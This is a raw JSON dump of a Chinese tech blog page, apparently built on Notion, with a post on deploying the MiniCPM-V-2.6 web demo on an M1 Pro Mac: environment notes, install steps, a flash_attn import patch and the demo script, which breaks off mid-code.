fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":"","blockMap":{"block":{"a741252c-e46b-4342-998c-58ebc362fc0d":{"value":{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","version":583,"type":"page","content":["353f48ca-b3fc-4678-98c3-b5d7f06893a1","578e66a9-5159-477c-a68b-9c0768517457","2da7371d-c149-42f0-8d8c-61c40c96eb22","b833e55e-3644-417b-b119-2b7e701d982b","e0728178-41e9-45a4-913f-261fbf4f1262","edd31627-e335-458d-8b07-b3e34c6220fc","79154f39-c44c-40b3-9f3f-4f88594e535d","d3146880-760d-4806-98ef-6e20feed3dd5","498f5336-b164-447e-b4fa-e05ae150fb8e","274203d7-c350-480f-b629-13aaac63f699","c015d46e-94a2-453e-bd8f-dd58e08293d4","f6e5b6ac-f899-4d53-950e-0a0cf8818227","2f14e63b-075b-4274-a6b8-e659b4c8fda1","adf5bdca-446a-47d5-8a75-bce9d9df5311","a09e7cd3-04ac-4b00-a4af-48e1429567ea","219e6a37-05a4-4dc6-8aff-7150c8943acd","f4653275-f192-48f1-8595-719729ebcca3","761ff9e9-27c0-4aea-9bbd-e0240fb5961b","39e03a97-8ceb-4215-b025-afb99b4e050b","4b762dc2-0578-4bda-8c19-ca3a53602372","249a6c9f-6078-4790-9481-4a8936b4aaef","181ac9d3-1ee2-4fef-9a7f-ee52d6ede102","0d831cbc-d9af-470b-a411-ebcca1ca7d8f","ad8919a2-ea5b-49b0-ba25-9cc660e3f84d","65a0ac34-61d8-46b8-9955-bec143fe9f2f","c37abb66-d61e-46f9-b5ce-ae513a8ca313","f24f87ce-b2a9-4511-88d7-a7ccac0d50f0","9e745960-d706-4037-b923-5fc019e55bd0","cc59ffa3-cf59-440a-b7d6-e7c922926f9c","e66d6581-d12e-4e6e-9d3a-a90dff76c17e","638b36be-4dd7-4e4b-9b2b-9df3b7511ccf","6983fd37-6adf-49d5-8445-7f4fdc6f2567","843b764b-b770-42fe-bbd2-569cd362f626","1e7f3f97-0719-415b-841f-2108e985bb42","aae2d5a0-071e-4b5d-ae29-340d8cf3d9f6","4f9b8cdc-894b-4fb4-8f2b-62914f8a2ed6","60554234-affb-4b85-9ae7-edbd16fe481a","cb00684e-eea6-49f0-8d5b-420d7adfc9c4","75330c0c-61a4-40b6-913b-8153b1602600","912ea1fc-408f-4d0c-a268-3809bef620d2","c5713ee5-cf25-4c40-8dc9-916bacf6b979","45f924a5-d0b5-4dbc-a33d-89bbccbf07a2","383f96c3-c07b-4a65-9b1d-37dc141ed53d","1f96f3d3-a4af-4472-804e-b262f9931543","4d8a642c-19cc-459d-b2d3-cf032e9de29d","1969bb19-5b8c-4ea7-8f4b-d7e7058d552b","b2819630-b50b-4c3e-bc93-c429638a9375"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1723225260111,"last_edited_time":1733364431171,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"353f48ca-b3fc-4678-98c3-b5d7f06893a1":{"value":{"id":"353f48ca-b3fc-4678-98c3-b5d7f06893a1","type":"text","format":{"copied_from_pointer":{"id":"f9121aa2-51c9-487a-83de-4601d5048f24","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723225275309,"last_edited_time":1723225275309,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true,"copied_from":"f9121aa2-51c9-487a-83de-4601d5048f24"}},"578e66a9-5159-477c-a68b-9c0768517457":{"value":{"id":"578e66a9-5159-477c-a68b-9c0768517457","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723225275309,"last_edited_time":1723225275309,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"2da7371d-c149-42f0-8d8c-61c40c96eb22":{"value":{"id":"2da7371d-c149-42f0-8d8c-61c40c96eb22","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723225275309,"last_edited_time":1723225275309,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"b833e55e-3644-417b-b119-2b7e701d982b":{"value":{"id":"b833e55e-3644-417b-b119-2b7e701d982b","type":"callout","properties":{"title":[["2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。",[["b"]]]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723225275308,"last_edited_time":1723226264307,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"e0728178-41e9-45a4-913f-261fbf4f1262":{"value":{"id":"e0728178-41e9-45a4-913f-261fbf4f1262","type":"header","properties":{"title":[["环境"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723225275309,"last_edited_time":1723225925132,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"edd31627-e335-458d-8b07-b3e34c6220fc":{"value":{"id":"edd31627-e335-458d-8b07-b3e34c6220fc","type":"bulleted_list","properties":{"title":[["macos版本:版本15.0 Beta版(24A5279h) || 版本15.1 Beta版(24B5009l)"]]},"created_time":1723225925303,"last_edited_time":1723225951878,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"79154f39-c44c-40b3-9f3f-4f88594e535d":{"value":{"id":"79154f39-c44c-40b3-9f3f-4f88594e535d","type":"bulleted_list","properties":{"title":[["芯片:m1 pro"]]},"created_time":1723225949015,"last_edited_time":1723225975451,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"d3146880-760d-4806-98ef-6e20feed3dd5":{"value":{"id":"d3146880-760d-4806-98ef-6e20feed3dd5","type":"bulleted_list","properties":{"title":[["代码仓库:"],["https://github.com/OpenBMB/MiniCPM-V.git",[["a","https://github.com/OpenBMB/MiniCPM-V.git"]]],[" "]]},"created_time":1723226006934,"last_edited_time":1723226038935,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"498f5336-b164-447e-b4fa-e05ae150fb8e":{"value":{"id":"498f5336-b164-447e-b4fa-e05ae150fb8e","type":"bulleted_list","properties":{"title":[["分支:main"]]},"created_time":1723226040527,"last_edited_time":1723226049545,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"274203d7-c350-480f-b629-13aaac63f699":{"value":{"id":"274203d7-c350-480f-b629-13aaac63f699","type":"bulleted_list","properties":{"title":[["代码版本:b0125d8a yiranyyu "],["2606375857@qq.com",[["a","mailto:2606375857@qq.com"]]],[" on 2024/8/9 at 10:25"]]},"created_time":1723225975832,"last_edited_time":1723226001758,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"c015d46e-94a2-453e-bd8f-dd58e08293d4":{"value":{"id":"c015d46e-94a2-453e-bd8f-dd58e08293d4","type":"bulleted_list","properties":{"title":[["python版本:3.9"]]},"created_time":1723226003768,"last_edited_time":1723226091347,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"f6e5b6ac-f899-4d53-950e-0a0cf8818227":{"value":{"id":"f6e5b6ac-f899-4d53-950e-0a0cf8818227","type":"header","properties":{"title":[["解决问题"]]},"format":{"copied_from_pointer":{"id":"10f81046-c412-4a78-b051-1cec7d572d9c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723225275308,"last_edited_time":1723226854128,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true,"copied_from":"10f81046-c412-4a78-b051-1cec7d572d9c"}},"2f14e63b-075b-4274-a6b8-e659b4c8fda1":{"value":{"id":"2f14e63b-075b-4274-a6b8-e659b4c8fda1","type":"code","properties":{"title":[["#拉下这个仓库\ngit clone "],["https://github.com/OpenBMB/MiniCPM-V.git",[["a","https://github.com/OpenBMB/MiniCPM-V.git"]]],[" \n\n#把requirements.txt安装下\n#modelscope需要手动安装\npip install http://thunlp.oss-cn-qingdao.aliyuncs.com/multi_modal/never_delete/modelscope_studio-0.4.0.9-py3-none-any.whl\n#dcord如果安装有问题,参考我LAVIS博客\n\n#找到根目录web_demo_2.6.py运行\n#首先添加环境变量,mps参数,见下图\n--device mps\nPYTORCH_ENABLE_MPS_FALLBACK=1"]],"language":[["Bash"]]},"created_time":1723226108730,"last_edited_time":1723226510269,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"adf5bdca-446a-47d5-8a75-bce9d9df5311":{"value":{"id":"adf5bdca-446a-47d5-8a75-bce9d9df5311","type":"image","properties":{"size":[["271.4KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/1078b627-6a78-45ba-9698-d2e60ccffeb7/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/1078b627-6a78-45ba-9698-d2e60ccffeb7/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.532520325203252,"block_preserve_scale":true},"created_time":1723226391098,"last_edited_time":1723226395699,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true,"file_ids":["1078b627-6a78-45ba-9698-d2e60ccffeb7"]}},"a09e7cd3-04ac-4b00-a4af-48e1429567ea":{"value":{"id":"a09e7cd3-04ac-4b00-a4af-48e1429567ea","type":"text","created_time":1723226514150,"last_edited_time":1723226514152,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"219e6a37-05a4-4dc6-8aff-7150c8943acd":{"value":{"id":"219e6a37-05a4-4dc6-8aff-7150c8943acd","type":"code","properties":{"title":[["\n#第一次运行web_demo_2.6.py报错如下\nImportError: This modeling file requires the following packages that were not found in your environment: flash_attn. Run `pip install flash_attn`\n\n#直接修改代码\nfrom typing import Union\nfrom transformers.dynamic_module_utils import get_imports\nfrom unittest.mock import patch\n# fix the imports\ndef fixed_get_imports(filename: Union[str, os.PathLike]) -> list[str]:\n imports = get_imports(filename)\n if not torch.cuda.is_available() and \"flash_attn\" in imports:\n imports.remove(\"flash_attn\")\n return imports\n\n#79行左右修改为\nwith patch(\"transformers.dynamic_module_utils.get_imports\", fixed_get_imports):\n model = AutoModel.from_pretrained(model_path, trust_remote_code=True, torch_dtype=torch.bfloat16)\n model = model.to(device=device)"]],"language":[["Bash"]]},"created_time":1723226517125,"last_edited_time":1723226783054,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"f4653275-f192-48f1-8595-719729ebcca3":{"value":{"id":"f4653275-f192-48f1-8595-719729ebcca3","type":"text","created_time":1723226756050,"last_edited_time":1723226756052,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"761ff9e9-27c0-4aea-9bbd-e0240fb5961b":{"value":{"id":"761ff9e9-27c0-4aea-9bbd-e0240fb5961b","type":"text","created_time":1723226881649,"last_edited_time":1723226881650,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"39e03a97-8ceb-4215-b025-afb99b4e050b":{"value":{"id":"39e03a97-8ceb-4215-b025-afb99b4e050b","type":"text","properties":{"title":[["完整代码如下"]]},"created_time":1723226858532,"last_edited_time":1723226888392,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"4b762dc2-0578-4bda-8c19-ca3a53602372":{"value":{"id":"4b762dc2-0578-4bda-8c19-ca3a53602372","type":"code","properties":{"title":[["#!/usr/bin/env python\n# encoding: utf-8\nimport torch\nimport argparse\nfrom transformers import AutoModel, AutoTokenizer\nimport gradio as gr\nfrom PIL import Image\nfrom decord import VideoReader, cpu\nimport io\nimport os\nimport copy\nimport requests\nimport base64\nimport json\nimport traceback\nimport re\nimport modelscope_studio as mgr\nfrom typing import Union\nfrom transformers.dynamic_module_utils import get_imports\nfrom unittest.mock import patch\n\n# README, How to run demo on different devices\n\n# For Nvidia GPUs.\n# python web_demo_2.6.py --device cuda\n\n# For Mac with MPS (Apple silicon or AMD GPUs).\n# PYTORCH_ENABLE_MPS_FALLBACK=1 python web_demo_2.6.py --device mps\n\n# Argparser\nparser = argparse.ArgumentParser(description='demo')\nparser.add_argument('--device', type=str, default='cuda', help='cuda or mps')\nparser.add_argument('--multi-gpus', action='store_true', default=False, help='use multi-gpus')\nargs = parser.parse_args()\ndevice = args.device\nassert device in ['cuda', 'mps']\n\n\n# fix the imports\ndef fixed_get_imports(filename: Union[str, os.PathLike]) -> list[str]:\n imports = get_imports(filename)\n if not torch.cuda.is_available() and \"flash_attn\" in imports:\n imports.remove(\"flash_attn\")\n return imports\n\n\n# Load model\nmodel_path = 'openbmb/MiniCPM-V-2_6'\nif 'int4' in model_path:\n if device == 'mps':\n print('Error: running int4 model with bitsandbytes on Mac is not supported right now.')\n exit()\n model = AutoModel.from_pretrained(model_path, trust_remote_code=True)\nelse:\n if args.multi_gpus:\n from accelerate import load_checkpoint_and_dispatch, init_empty_weights, infer_auto_device_map\n with init_empty_weights():\n model = AutoModel.from_pretrained(model_path, trust_remote_code=True, attn_implementation='sdpa', torch_dtype=torch.bfloat16)\n device_map = infer_auto_device_map(model, max_memory={0: \"10GB\", 1: \"10GB\"},\n no_split_module_classes=['SiglipVisionTransformer', 'Qwen2DecoderLayer'])\n device_id = device_map[\"llm.model.embed_tokens\"]\n device_map[\"llm.lm_head\"] = device_id # firtt and last layer should be in same device\n device_map[\"vpm\"] = device_id\n device_map[\"resampler\"] = device_id\n device_id2 = device_map[\"llm.model.layers.26\"]\n device_map[\"llm.model.layers.8\"] = device_id2\n device_map[\"llm.model.layers.9\"] = device_id2\n device_map[\"llm.model.layers.10\"] = device_id2\n device_map[\"llm.model.layers.11\"] = device_id2\n device_map[\"llm.model.layers.12\"] = device_id2\n device_map[\"llm.model.layers.13\"] = device_id2\n device_map[\"llm.model.layers.14\"] = device_id2\n device_map[\"llm.model.layers.15\"] = device_id2\n device_map[\"llm.model.layers.16\"] = device_id2\n #print(device_map)\n\n model = load_checkpoint_and_dispatch(model, model_path, dtype=torch.bfloat16, device_map=device_map)\n else:\n with patch(\"transformers.dynamic_module_utils.get_imports\", fixed_get_imports):\n model = AutoModel.from_pretrained(model_path, trust_remote_code=True, torch_dtype=torch.bfloat16)\n model = model.to(device=device)\ntokenizer = AutoTokenizer.from_pretrained(model_path, trust_remote_code=True)\nmodel.eval()\n\n\n\n\nERROR_MSG = \"Error, please retry\"\nmodel_name = 'MiniCPM-V 2.6'\nMAX_NUM_FRAMES = 64\nIMAGE_EXTENSIONS = {'.jpg', '.jpeg', '.png', '.bmp', '.tiff', '.webp'}\nVIDEO_EXTENSIONS = {'.mp4', '.mkv', '.mov', '.avi', '.flv', '.wmv', '.webm', '.m4v'}\n\ndef get_file_extension(filename):\n return os.path.splitext(filename)[1].lower()\n\ndef is_image(filename):\n return get_file_extension(filename) in IMAGE_EXTENSIONS\n\ndef is_video(filename):\n return get_file_extension(filename) in VIDEO_EXTENSIONS\n\n\nform_radio = {\n 'choices': ['Beam Search', 'Sampling'],\n #'value': 'Beam Search',\n 'value': 'Sampling',\n 'interactive': True,\n 'label': 'Decode Type'\n}\n\n\ndef create_component(params, comp='Slider'):\n if comp == 'Slider':\n return gr.Slider(\n minimum=params['minimum'],\n maximum=params['maximum'],\n value=params['value'],\n step=params['step'],\n interactive=params['interactive'],\n label=params['label']\n )\n elif comp == 'Radio':\n return gr.Radio(\n choices=params['choices'],\n value=params['value'],\n interactive=params['interactive'],\n label=params['label']\n )\n elif comp == 'Button':\n return gr.Button(\n value=params['value'],\n interactive=True\n )\n\n\ndef create_multimodal_input(upload_image_disabled=False, upload_video_disabled=False):\n return mgr.MultimodalInput(upload_image_button_props={'label': 'Upload Image', 'disabled': upload_image_disabled, 'file_count': 'multiple'},\n upload_video_button_props={'label': 'Upload Video', 'disabled': upload_video_disabled, 'file_count': 'single'},\n submit_button_props={'label': 'Submit'})\n\n\ndef chat(img, msgs, ctx, params=None, vision_hidden_states=None):\n try:\n print('msgs:', msgs)\n answer = model.chat(\n image=None,\n msgs=msgs,\n tokenizer=tokenizer,\n **params\n )\n res = re.sub(r'(.*)', '', answer)\n res = res.replace('', '')\n res = res.replace('', '')\n res = res.replace('', '')\n answer = res.replace('', '')\n print('answer:', answer)\n return 0, answer, None, None\n except Exception as e:\n print(e)\n traceback.print_exc()\n return -1, ERROR_MSG, None, None\n\n\ndef encode_image(image):\n if not isinstance(image, Image.Image):\n if hasattr(image, 'path'):\n image = Image.open(image.path).convert(\"RGB\")\n else:\n image = Image.open(image.file.path).convert(\"RGB\")\n # resize to max_size\n max_size = 448*16\n if max(image.size) > max_size:\n w,h = image.size\n if w > h:\n new_w = max_size\n new_h = int(h * max_size / w)\n else:\n new_h = max_size\n new_w = int(w * max_size / h)\n image = image.resize((new_w, new_h), resample=Image.BICUBIC)\n return image\n ## save by BytesIO and convert to base64\n #buffered = io.BytesIO()\n #image.save(buffered, format=\"png\")\n #im_b64 = base64.b64encode(buffered.getvalue()).decode()\n #return {\"type\": \"image\", \"pairs\": im_b64}\n\n\ndef encode_video(video):\n def uniform_sample(l, n):\n gap = len(l) / n\n idxs = [int(i * gap + gap / 2) for i in range(n)]\n return [l[i] for i in idxs]\n\n if hasattr(video, 'path'):\n vr = VideoReader(video.path, ctx=cpu(0))\n else:\n vr = VideoReader(video.file.path, ctx=cpu(0))\n sample_fps = round(vr.get_avg_fps() / 1) # FPS\n frame_idx = [i for i in range(0, len(vr), sample_fps)]\n if len(frame_idx)>MAX_NUM_FRAMES:\n frame_idx = uniform_sample(frame_idx, MAX_NUM_FRAMES)\n video = vr.get_batch(frame_idx).asnumpy()\n video = [Image.fromarray(v.astype('uint8')) for v in video]\n video = [encode_image(v) for v in video]\n print('video frames:', len(video))\n return video\n\n\ndef check_mm_type(mm_file):\n if hasattr(mm_file, 'path'):\n path = mm_file.path\n else:\n path = mm_file.file.path\n if is_image(path):\n return \"image\"\n if is_video(path):\n return \"video\"\n return None\n\n\ndef encode_mm_file(mm_file):\n if check_mm_type(mm_file) == 'image':\n return [encode_image(mm_file)]\n if check_mm_type(mm_file) == 'video':\n return encode_video(mm_file)\n return None\n\ndef make_text(text):\n #return {\"type\": 